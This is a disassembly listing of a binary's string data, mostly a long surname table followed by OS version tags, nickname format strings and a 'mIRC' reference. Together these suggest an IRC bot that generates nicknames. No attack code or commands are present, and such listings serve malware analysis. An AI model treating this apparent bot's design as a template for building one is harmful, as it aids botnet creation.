aFriedland db 'Friedland',0 ; DATA XREF: seg002:0043CB04o
align 4
aFried db 'Fried',0 ; DATA XREF: seg002:0043CB00o
align 10h
aFreundlich db 'Freundlich',0 ; DATA XREF: seg002:0043CAFCo
align 4
aFreid db 'Freid',0 ; DATA XREF: seg002:0043CAF8o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: seg002:0043CAF4o
align 4
aFranz db 'Franz',0 ; DATA XREF: seg002:0043CAF0o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: seg002:0043CAECo
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: seg002:0043CAE8o
align 4
aFossi db 'Fossi',0 ; DATA XREF: seg002:0043CAE4o
align 10h
aFossey db 'Fossey',0 ; DATA XREF: seg002:0043CAE0o
align 4
aFortier db 'Fortier',0 ; DATA XREF: seg002:0043CADCo
aFortes db 'Fortes',0 ; DATA XREF: seg002:0043CAD8o
align 4
aForester db 'Forester',0 ; DATA XREF: seg002:0043CAD4o
align 4
aFolks db 'Folks',0 ; DATA XREF: seg002:0043CAD0o
align 4
aFlores db 'Flores',0 ; DATA XREF: seg002:0043CACCo
align 4
aFlier db 'Flier',0 ; DATA XREF: seg002:0043CAC8o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: seg002:0043CAC4o
aFisk db 'Fisk',0 ; DATA XREF: seg002:0043CAC0o
align 10h
aFiorina db 'Fiorina',0 ; DATA XREF: seg002:0043CABCo
aFinnegan db 'Finnegan',0 ; DATA XREF: seg002:0043CAB8o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: seg002:0043CAB4o
aFink db 'Fink',0 ; DATA XREF: seg002:0043CAB0o
align 4
aField db 'Field',0 ; DATA XREF: seg002:0043CAACo
align 10h
aFido db 'Fido',0 ; DATA XREF: seg002:0043CAA8o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: seg002:0043CAA4o
align 10h
aFerriell db 'Ferriell',0 ; DATA XREF: seg002:0043CAA0o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: seg002:0043CA9Co
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: seg002:0043CA98o
align 4
aFernald db 'Fernald',0 ; DATA XREF: seg002:0043CA94o
aFeldman db 'Feldman',0 ; DATA XREF: seg002:0043CA90o
aFejzo db 'Fejzo',0 ; DATA XREF: seg002:0043CA8Co
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: seg002:0043CA88o
align 4
aFates db 'Fates',0 ; DATA XREF: seg002:0043CA84o
align 10h
aFasso db 'Fasso',27h,0 ; DATA XREF: seg002:0043CA80o
align 4
aFarren db 'Farren',0 ; DATA XREF: seg002:0043CA7Co
align 10h
aFarone db 'Farone',0 ; DATA XREF: seg002:0043CA78o
align 4
aFaris db 'Faris',0 ; DATA XREF: seg002:0043CA74o
align 10h
aFalorsi db 'Falorsi',0 ; DATA XREF: seg002:0043CA70o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: seg002:0043CA6Co
align 4
aFaioes db 'Faioes',0 ; DATA XREF: seg002:0043CA68o
align 10h
aFagan db 'Fagan',0 ; DATA XREF: seg002:0043CA64o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: seg002:0043CA60o
aEverett db 'Everett',0 ; DATA XREF: seg002:0043CA5Co
aEuripides db 'Euripides',0 ; DATA XREF: seg002:0043CA58o
align 4
aEtter db 'Etter',0 ; DATA XREF: seg002:0043CA54o
align 4
aEstes db 'Estes',0 ; DATA XREF: seg002:0043CA50o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: seg002:0043CA4Co
align 10h
aErez db 'Erez',0 ; DATA XREF: seg002:0043CA48o
align 4
aErdos db 'Erdos',0 ; DATA XREF: seg002:0043CA44o
align 10h
aErdman db 'Erdman',0 ; DATA XREF: seg002:0043CA40o
align 4
aErbach db 'Erbach',0 ; DATA XREF: seg002:0043CA3Co
align 10h
aEppling db 'Eppling',0 ; DATA XREF: seg002:0043CA38o
aEnyeart db 'Enyeart',0 ; DATA XREF: seg002:0043CA34o
aEncinas db 'Encinas',0 ; DATA XREF: seg002:0043CA30o
aElvis db 'Elvis',0 ; DATA XREF: seg002:0043CA2Co
align 10h
aElmerick db 'Elmerick',0 ; DATA XREF: seg002:0043CA28o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: seg002:0043CA24o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: seg002:0043CA20o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: seg002:0043CA1Co
aEdward db 'Edward',0 ; DATA XREF: seg002:0043CA18o
align 4
aEdner db 'Edner',0 ; DATA XREF: seg002:0043CA14o
align 10h
aEdley db 'Edley',0 ; DATA XREF: seg002:0043CA10o
align 4
aEckel db 'Eckel',0 ; DATA XREF: seg002:0043CA0Co
align 10h
aEbeling db 'Ebeling',0 ; DATA XREF: seg002:0043CA08o
aEardley db 'Eardley',0 ; DATA XREF: seg002:0043CA04o
aDwyer db 'Dwyer',0 ; DATA XREF: seg002:0043CA00o
align 4
aDussault db 'Dussault',0 ; DATA XREF: seg002:0043C9FCo
align 4
aDurrett db 'Durrett',0 ; DATA XREF: seg002:0043C9F8o
aDuffin db 'Duffin',0 ; DATA XREF: seg002:0043C9F4o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: seg002:0043C9F0o
aDrinker db 'Drinker',0 ; DATA XREF: seg002:0043C9ECo
aDowsland db 'Dowsland',0 ; DATA XREF: seg002:0043C9E8o
align 10h
aDoug db 'Doug',0 ; DATA XREF: seg002:0043C9E4o
align 4
aDoty db 'Doty',0 ; DATA XREF: seg002:0043C9E0o
align 10h
aDosi db 'Dosi',0 ; DATA XREF: seg002:0043C9DCo
align 4
aDorf db 'Dorf',0 ; DATA XREF: seg002:0043C9D8o
align 10h
aDore db 'Dore',0 ; DATA XREF: seg002:0043C9D4o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: seg002:0043C9D0o
align 10h
aDonner db 'Donner',0 ; DATA XREF: seg002:0043C9CCo
align 4
aDonahue db 'Donahue',0 ; DATA XREF: seg002:0043C9C8o
aDoherty db 'Doherty',0 ; DATA XREF: seg002:0043C9C4o
aDockery db 'Dockery',0 ; DATA XREF: seg002:0043C9C0o
aDirksen db 'Dirksen',0 ; DATA XREF: seg002:0043C9BCo
aDionysius db 'Dionysius',0 ; DATA XREF: seg002:0043C9B8o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: seg002:0043C9B4o
align 10h
aDifronzo db 'Difronzo',0 ; DATA XREF: seg002:0043C9B0o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: seg002:0043C9ACo
aDiefenbach db 'Diefenbach',0 ; DATA XREF: seg002:0043C9A8o
align 10h
aDicks db 'Dicks',0 ; DATA XREF: seg002:0043C9A4o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: seg002:0043C9A0o
align 10h
aDeutsch db 'Deutsch',0 ; DATA XREF: seg002:0043C99Co
aDesombre db 'Desombre',0 ; DATA XREF: seg002:0043C998o
align 4
aDenison db 'Denison',0 ; DATA XREF: seg002:0043C994o
aDenham db 'Denham',0 ; DATA XREF: seg002:0043C990o
align 4
aDenault db 'Denault',0 ; DATA XREF: seg002:0043C98Co
aDemusz db 'Demusz',0 ; DATA XREF: seg002:0043C988o
align 4
aDempster db 'Dempster',0 ; DATA XREF: seg002:0043C984o
align 10h
aDeming db 'Deming',0 ; DATA XREF: seg002:0043C980o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:0043C97Co
align 4
aDelger db 'Delger',0 ; DATA XREF: seg002:0043C978o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: seg002:0043C974o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: seg002:0043C970o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: seg002:0043C96Co
align 4
aDees db 'Dees',0 ; DATA XREF: seg002:0043C968o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: seg002:0043C964o
aDerousse db 'deRousse',0 ; DATA XREF: seg002:0043C960o
align 10h
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: seg002:0043C95Co
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: seg002:0043C958o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: seg002:0043C954o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: seg002:0043C950o
aDavid db 'David',0 ; DATA XREF: seg002:0043C94Co
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: seg002:0043C948o
aDasgupta db 'Dasgupta',0 ; DATA XREF: seg002:0043C944o
align 4
aDas db 'Das',0 ; DATA XREF: seg002:0043C940o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:0043C93Co
aDapice db 'Dapice',0 ; DATA XREF: seg002:0043C938o
align 10h
aDante db 'Dante',0 ; DATA XREF: seg002:0043C934o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: seg002:0043C930o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: seg002:0043C92Co
aDaly db 'Daly',0 ; DATA XREF: seg002:0043C928o
align 10h
aDaldalian db 'Daldalian',0 ; DATA XREF: seg002:0043C924o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: seg002:0043C920o
aCyders db 'Cyders',0 ; DATA XREF: seg002:0043C91Co
align 4
aCvek db 'Cvek',0 ; DATA XREF: seg002:0043C918o
align 4
aCutler db 'Cutler',0 ; DATA XREF: seg002:0043C914o
align 4
aCurrier db 'Currier',0 ; DATA XREF: seg002:0043C910o
aCui db 'Cui',0 ; DATA XREF: seg002:0043C90Co
aCroxton db 'Croxton',0 ; DATA XREF: seg002:0043C908o
aCroxen db 'Croxen',0 ; DATA XREF: seg002:0043C904o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: seg002:0043C900o
aCrocker db 'Crocker',0 ; DATA XREF: seg002:0043C8FCo
aCrawford db 'Crawford',0 ; DATA XREF: seg002:0043C8F8o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: seg002:0043C8F4o
aCounter db 'Counter',0 ; DATA XREF: seg002:0043C8F0o
aCosmides db 'Cosmides',0 ; DATA XREF: seg002:0043C8ECo
align 10h
aCornish db 'Cornish',0 ; DATA XREF: seg002:0043C8E8o
aCorey db 'Corey',0 ; DATA XREF: seg002:0043C8E4o
align 10h
aConnors db 'Connors',0 ; DATA XREF: seg002:0043C8E0o
aCondodina db 'Condodina',0 ; DATA XREF: seg002:0043C8DCo
align 4
aConcino db 'Concino',0 ; DATA XREF: seg002:0043C8D8o
aComstock db 'Comstock',0 ; DATA XREF: seg002:0043C8D4o
align 4
aCompton db 'Compton',0 ; DATA XREF: seg002:0043C8CCo
; seg002:0043C8D0o
aCollis db 'Collis',0 ; DATA XREF: seg002:0043C8C8o
align 4
aCollard db 'Collard',0 ; DATA XREF: seg002:0043C8C4o
aColella db 'Colella',0 ; DATA XREF: seg002:0043C8C0o
aColdren db 'Coldren',0 ; DATA XREF: seg002:0043C8BCo
aCoito db 'Coito',0 ; DATA XREF: seg002:0043C8B8o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: seg002:0043C8B4o
aClow db 'Clow',0 ; DATA XREF: seg002:0043C8B0o
align 4
aClifton db 'Clifton',0 ; DATA XREF: seg002:0043C8ACo
aClement db 'Clement',0 ; DATA XREF: seg002:0043C8A8o
aClark db 'Clark',0 ; DATA XREF: seg002:0043C8A4o
align 10h
aClancy db 'Clancy',0 ; DATA XREF: seg002:0043C8A0o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: seg002:0043C89Co
aCifarelli db 'Cifarelli',0 ; DATA XREF: seg002:0043C898o
align 4
aCicero db 'Cicero',0 ; DATA XREF: seg002:0043C894o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: seg002:0043C890o
align 10h
aChurch db 'Church',0 ; DATA XREF: seg002:0043C88Co
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: seg002:0043C888o
align 4
aChu db 'Chu',0 ; DATA XREF: seg002:0043C884o
aChristopher db 'Christopher',0 ; DATA XREF: seg002:0043C880o
aChristie db 'Christie',0 ; DATA XREF: seg002:0043C87Co
align 10h
aChristiano db 'Christiano',0 ; DATA XREF: seg002:0043C878o
align 4
aChristian db 'Christian',0 ; DATA XREF: seg002:0043C874o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: seg002:0043C870o
aChinman db 'Chinman',0 ; DATA XREF: seg002:0043C86Co
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: seg002:0043C868o
aChilds db 'Childs',0 ; DATA XREF: seg002:0043C864o
align 10h
aChildress db 'Childress',0 ; DATA XREF: seg002:0043C860o
align 4
aChien db 'Chien',0 ; DATA XREF: seg002:0043C85Co
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: seg002:0043C858o
align 10h
aChervinsky db 'Chervinsky',0 ; DATA XREF: seg002:0043C854o
align 4
aCherry db 'Cherry',0 ; DATA XREF: seg002:0043C850o
align 4
aCheang db 'Cheang',0 ; DATA XREF: seg002:0043C84Co
align 4
aCharles db 'Charles',0 ; DATA XREF: seg002:0043C848o
aChapman db 'Chapman',0 ; DATA XREF: seg002:0043C844o
aCerioli db 'Cerioli',0 ; DATA XREF: seg002:0043C840o
aCeniceros db 'Ceniceros',0 ; DATA XREF: seg002:0043C83Co
align 10h
aCavell db 'Cavell',0 ; DATA XREF: seg002:0043C838o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: seg002:0043C834o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: seg002:0043C830o
align 10h
aCaspar db 'Caspar',0 ; DATA XREF: seg002:0043C82Co
align 4
aCase db 'Case',0 ; DATA XREF: seg002:0043C828o
align 10h
aCascio db 'Cascio',0 ; DATA XREF: seg002:0043C824o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: seg002:0043C820o
align 4
aCarper db 'Carper',0 ; DATA XREF: seg002:0043C81Co
align 4
aCaroti db 'Caroti',0 ; DATA XREF: seg002:0043C818o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: seg002:0043C814o
align 10h
aCarlyle db 'Carlyle',0 ; DATA XREF: seg002:0043C810o
aCarlos db 'Carlos',0 ; DATA XREF: seg002:0043C80Co
align 10h
aCarlin db 'Carlin',0 ; DATA XREF: seg002:0043C808o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: seg002:0043C804o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: seg002:0043C800o
aCapursi db 'Capursi',0 ; DATA XREF: seg002:0043C7FCo
aCappuccio db 'Cappuccio',0 ; DATA XREF: seg002:0043C7F8o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: seg002:0043C7F4o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: seg002:0043C7F0o
align 10h
aCaperton db 'Caperton',0 ; DATA XREF: seg002:0043C7ECo
align 4
aCapanni db 'Capanni',0 ; DATA XREF: seg002:0043C7E8o
aCanley db 'Canley',0 ; DATA XREF: seg002:0043C7E4o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: seg002:0043C7E0o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: seg002:0043C7DCo
align 4
aCalnan db 'Calnan',0 ; DATA XREF: seg002:0043C7D8o
align 4
aCage db 'Cage',0 ; DATA XREF: seg002:0043C7D4o
align 4
aByrd db 'Byrd',0 ; DATA XREF: seg002:0043C7D0o
align 4
aByerly db 'Byerly',0 ; DATA XREF: seg002:0043C7CCo
align 4
aByatt db 'Byatt',0 ; DATA XREF: seg002:0043C7C8o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: seg002:0043C7C4o
aBurridge db 'Burridge',0 ; DATA XREF: seg002:0043C7C0o
align 10h
aBurke db 'Burke',0 ; DATA XREF: seg002:0043C7BCo
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: seg002:0043C7B8o
align 10h
aBurden db 'Burden',0 ; DATA XREF: seg002:0043C7B4o
align 4
aBunton db 'Bunton',0 ; DATA XREF: seg002:0043C7B0o
align 10h
aBullard db 'Bullard',0 ; DATA XREF: seg002:0043C7ACo
aBudding db 'Budding',0 ; DATA XREF: seg002:0043C7A8o
aBuchan db 'Buchan',0 ; DATA XREF: seg002:0043C7A4o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: seg002:0043C7A0o
aBrook db 'Brook',0 ; DATA XREF: seg002:0043C79Co
align 4
aBroca db 'Broca',0 ; DATA XREF: seg002:0043C798o
align 10h
aBritz db 'Britz',0 ; DATA XREF: seg002:0043C794o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: seg002:0043C790o
aBridges db 'Bridges',0 ; DATA XREF: seg002:0043C78Co
aBridgeman db 'Bridgeman',0 ; DATA XREF: seg002:0043C788o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: seg002:0043C780o
; seg002:0043C784o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: seg002:0043C77Co
aBrenan db 'Brenan',0 ; DATA XREF: seg002:0043C778o
align 4
aBreed db 'Breed',0 ; DATA XREF: seg002:0043C774o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: seg002:0043C770o
align 4
aBradach db 'Bradach',0 ; DATA XREF: seg002:0043C76Co
aBradac db 'Bradac',0 ; DATA XREF: seg002:0043C768o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: seg002:0043C764o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: seg002:0043C760o
align 10h
aBoym db 'Boym',0 ; DATA XREF: seg002:0043C75Co
align 4
aBoyland db 'Boyland',0 ; DATA XREF: seg002:0043C758o
aBoyes db 'Boyes',0 ; DATA XREF: seg002:0043C754o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: seg002:0043C750o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: seg002:0043C74Co
align 4
aBowers db 'Bowers',0 ; DATA XREF: seg002:0043C748o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: seg002:0043C744o
align 10h
aBoudrot db 'Boudrot',0 ; DATA XREF: seg002:0043C740o
aBoudin db 'Boudin',0 ; DATA XREF: seg002:0043C73Co
align 10h
aBotosh db 'Botosh',0 ; DATA XREF: seg002:0043C738o
align 4
aBothman db 'Bothman',0 ; DATA XREF: seg002:0043C734o
aBossi db 'Bossi',0 ; DATA XREF: seg002:0043C730o
align 4
aBorden db 'Borden',0 ; DATA XREF: seg002:0043C72Co
align 10h
aBorack db 'Borack',0 ; DATA XREF: seg002:0043C728o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: seg002:0043C724o
align 4
aBoone db 'Boone',0 ; DATA XREF: seg002:0043C720o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: seg002:0043C71Co
align 4
aBook db 'Book',0 ; DATA XREF: seg002:0043C718o
align 10h
aBontempo db 'Bontempo',0 ; DATA XREF: seg002:0043C714o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: seg002:0043C710o
align 4
aBonham db 'Bonham',0 ; DATA XREF: seg002:0043C70Co
align 10h
aBoner db 'Boner',0 ; DATA XREF: seg002:0043C708o
align 4
aBologna db 'Bologna',0 ; DATA XREF: seg002:0043C704o
aBollinger db 'Bollinger',0 ; DATA XREF: seg002:0043C700o
align 4
aBolick db 'Bolick',0 ; DATA XREF: seg002:0043C6FCo
align 4
aBolger db 'Bolger',0 ; DATA XREF: seg002:0043C6F8o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: seg002:0043C6F4o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: seg002:0043C6F0o
aBloemhof db 'Bloemhof',0 ; DATA XREF: seg002:0043C6ECo
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: seg002:0043C6E8o
aBloch db 'Bloch',0 ; DATA XREF: seg002:0043C6E4o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: seg002:0043C6E0o
aBliss db 'Bliss',0 ; DATA XREF: seg002:0043C6DCo
align 4
aBlanke db 'Blanke',0 ; DATA XREF: seg002:0043C6D8o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: seg002:0043C6D4o
align 10h
aBlagg db 'Blagg',0 ; DATA XREF: seg002:0043C6D0o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: seg002:0043C6CCo
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: seg002:0043C6C8o
align 10h
aBisho db 'Bisho',0 ; DATA XREF: seg002:0043C6C4o
align 4
aBisema db 'Bisema',0 ; DATA XREF: seg002:0043C6C0o
align 10h
aBir db 'Bir',0 ; DATA XREF: seg002:0043C6BCo
aBinion db 'Binion',0 ; DATA XREF: seg002:0043C6B8o
align 4
aBickel db 'Bickel',0 ; DATA XREF: seg002:0043C6B4o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: seg002:0043C6B0o
align 10h
aBeynart db 'Beynart',0 ; DATA XREF: seg002:0043C6ACo
aBetti db 'Betti',0 ; DATA XREF: seg002:0043C6A8o
align 10h
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: seg002:0043C6A4o
align 10h
aBernston db 'Bernston',0 ; DATA XREF: seg002:0043C6A0o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: seg002:0043C69Co
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: seg002:0043C698o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: seg002:0043C694o
align 4
aBergson db 'Bergson',0 ; DATA XREF: seg002:0043C690o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: seg002:0043C68Co
align 4
aBelloc db 'Belloc',0 ; DATA XREF: seg002:0043C688o
align 4
aBellini db 'Bellini',0 ; DATA XREF: seg002:0043C684o
aBellhouse db 'Bellhouse',0 ; DATA XREF: seg002:0043C680o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: seg002:0043C67Co
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: seg002:0043C678o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: seg002:0043C674o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: seg002:0043C670o
align 4
aBelanger db 'Belanger',0 ; DATA XREF: seg002:0043C66Co
align 4
aBehenna db 'Behenna',0 ; DATA XREF: seg002:0043C668o
aBedford db 'Bedford',0 ; DATA XREF: seg002:0043C664o
aBeder db 'Beder',0 ; DATA XREF: seg002:0043C660o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: seg002:0043C65Co
aBean db 'Bean',0 ; DATA XREF: seg002:0043C658o
align 4
aBeal db 'Beal',0 ; DATA XREF: seg002:0043C654o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: seg002:0043C650o
align 4
aBayo db 'Bayo',0 ; DATA XREF: seg002:0043C64Co
align 4
aBayles db 'Bayles',0 ; DATA XREF: seg002:0043C648o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: seg002:0043C644o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: seg002:0043C640o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: seg002:0043C63Co
align 10h
aBasavappa db 'Basavappa',0 ; DATA XREF: seg002:0043C638o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: seg002:0043C634o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: seg002:0043C630o
align 10h
aBartholomew db 'Bartholomew',0 ; DATA XREF: seg002:0043C62Co
aBarry db 'Barry',0 ; DATA XREF: seg002:0043C628o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: seg002:0043C624o
align 10h
aBarnett db 'Barnett',0 ; DATA XREF: seg002:0043C620o
aBarneson db 'Barneson',0 ; DATA XREF: seg002:0043C61Co
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: seg002:0043C618o
align 10h
aBarberi db 'Barberi',0 ; DATA XREF: seg002:0043C614o
aBaranowska db 'Baranowska',0 ; DATA XREF: seg002:0043C610o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: seg002:0043C60Co
align 10h
aBarajas db 'Barajas',0 ; DATA XREF: seg002:0043C608o
aBarabesi db 'Barabesi',0 ; DATA XREF: seg002:0043C604o
align 4
aBanta db 'Banta',0 ; DATA XREF: seg002:0043C600o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: seg002:0043C5FCo
align 4
aBallew db 'Ballew',0 ; DATA XREF: seg002:0043C5F8o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: seg002:0043C5F4o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: seg002:0043C5F0o
align 10h
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: seg002:0043C5ECo
align 4
aBailar db 'Bailar',0 ; DATA XREF: seg002:0043C5E8o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: seg002:0043C5E4o
aBaglivo db 'Baglivo',0 ; DATA XREF: seg002:0043C5E0o
aBady db 'Bady',0 ; DATA XREF: seg002:0043C5DCo
align 4
aBackus db 'Backus',0 ; DATA XREF: seg002:0043C5D8o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: seg002:0043C5D4o
align 10h
aAzima db 'Azima',0 ; DATA XREF: seg002:0043C5D0o
align 4
aAyling db 'Ayling',0 ; DATA XREF: seg002:0043C5CCo
align 10h
aAykroyd db 'Aykroyd',0 ; DATA XREF: seg002:0043C5C8o
aAyiemba db 'Ayiemba',0 ; DATA XREF: seg002:0043C5C4o
aAxworthy db 'Axworthy',0 ; DATA XREF: seg002:0043C5C0o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: seg002:0043C5BCo
aAurelius db 'Aurelius',0 ; DATA XREF: seg002:0043C5B8o
align 10h
aAugustus db 'Augustus',0 ; DATA XREF: seg002:0043C5B4o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: seg002:0043C5B0o
align 4
aArky db 'Arky',0 ; DATA XREF: seg002:0043C5ACo
align 4
aArjas db 'Arjas',0 ; DATA XREF: seg002:0043C5A8o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: seg002:0043C5A4o
align 10h
aArellano db 'Arellano',0 ; DATA XREF: seg002:0043C5A0o
align 4
aArduini db 'Arduini',0 ; DATA XREF: seg002:0043C59Co
aArbia db 'Arbia',0 ; DATA XREF: seg002:0043C598o
align 4
aAntos db 'Antos',0 ; DATA XREF: seg002:0043C594o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: seg002:0043C590o
aAnsley db 'Ansley',0 ; DATA XREF: seg002:0043C58Co
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: seg002:0043C588o
align 10h
aAndron db 'Andron',0 ; DATA XREF: seg002:0043C584o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: seg002:0043C580o
align 4
aAndo db 'Ando',0 ; DATA XREF: seg002:0043C57Co
align 4
aAndel db 'Andel',0 ; DATA XREF: seg002:0043C578o
align 4
aAnand db 'Anand',0 ; DATA XREF: seg002:0043C574o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: seg002:0043C570o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: seg002:0043C56Co
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: seg002:0043C568o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: seg002:0043C564o
align 10h
aAltenhofen db 'Altenhofen',0 ; DATA XREF: seg002:0043C560o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: seg002:0043C55Co
aAltavilla db 'Altavilla',0 ; DATA XREF: seg002:0043C558o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: seg002:0043C554o
align 4
aAllison db 'Allison',0 ; DATA XREF: seg002:0043C550o
aAleks db 'Aleks',0 ; DATA XREF: seg002:0043C54Co
align 4
aAlda db 'Alda',0 ; DATA XREF: seg002:0043C548o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: seg002:0043C544o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: seg002:0043C540o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: seg002:0043C53Co
align 4
aAdorno db 'Adorno',0 ; DATA XREF: seg002:0043C538o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: seg002:0043C534o
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: seg002:0043C530o
align 4
aAddison db 'Addison',0 ; DATA XREF: seg002:0043C52Co
aAdams db 'Adams',0 ; DATA XREF: seg002:0043C528o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: seg002:0043C524o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: seg002:off_43C520o
align 10h
aPc db 'PC',0 ; DATA XREF: seg000:0040A935o
align 4
aS_6 db '%s|',0 ; DATA XREF: seg000:0040A9B5o
aS_7 db '[%s]|',0
align 10h
a??? db '???',0 ; DATA XREF: sub_41D779:loc_41D81Ao
a2k3 db '2K3',0
aXp_0 db 'XP',0 ; DATA XREF: sub_41D779+8Bo
align 4
a2k db '2K',0 ; DATA XREF: sub_41D779+7Co
align 10h
aMe_0 db 'ME',0 ; DATA XREF: sub_41D779+68o
align 4
a98 db '98',0 ; DATA XREF: sub_41D779+59o
align 4
aNt_0 db 'NT',0 ; DATA XREF: sub_41D779+4Ao
align 4
a95 db '95',0 ; DATA XREF: sub_41D779+39o
align 10h
aDS db '[%d]%s',0 ; DATA XREF: sub_40AAE6+3Ao
align 4
aM db '[M]',0 ; DATA XREF: sub_40AAE6+2Co
; sub_40AAE6+51o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AAE6+18o
; sub_41AD95+6o
align 4
dword_432844 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: seg000:0040AF00o
